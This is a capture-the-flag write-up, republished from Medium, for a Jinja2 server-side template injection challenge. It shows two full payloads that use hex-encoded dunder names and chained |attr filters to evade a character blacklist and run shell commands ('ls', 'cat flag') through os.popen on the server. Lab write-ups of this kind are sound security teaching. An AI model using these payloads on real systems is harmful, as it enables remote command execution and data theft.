SSTI2 | CyLab | Writeup
Original article published on Medium - SiapaHeker
Challenge Overview

challenge overview
Hints:
- Server Side Template Injection
- Why is blacklisting characters a bad idea to sanitize input?
First, the website landing page looks as shown in the image above, featuring an input field:

website landing page
Based on the provided clue pointing to Server-Side Template Injection (SSTI), we test the input field using {{7*7}}.

ssti test output
The page returns 49, confirming that the website is indeed vulnerable to SSTI. Next, we attempt directory listing using the following payload:


ssti blacklist output
However, the output returns “Stop trying to break me >:(“. This brings us to the second clue: blacklisting. Since the application relies solely on a character blacklist for defense, we can bypass it by combining hex-encoded strings with Jinja2 filters via the pipe operator (|). The pipe operator | passes the value on the left as the first argument to the filter function on the right, allowing us to chain method calls dynamically without restricted characters
{{request
|attr('application')
|attr('\x5f\x5fglobals\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
|attr('popen')('ls')
|attr('read')()}}
With this bypass payload, the blacklist controls are completely rendered ineffective.
The response successfully yields the server’s directory listing:

directory listing output
Now that we know the flag file name, we can adapt the payload to read its content by replacing ls with cat flag.
Payload:
{{request
|attr('application')
|attr('\x5f\x5fglobals\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')
|attr('popen')('cat flag')
|attr('read')()}}

flag output
and there we go, we got the flag!!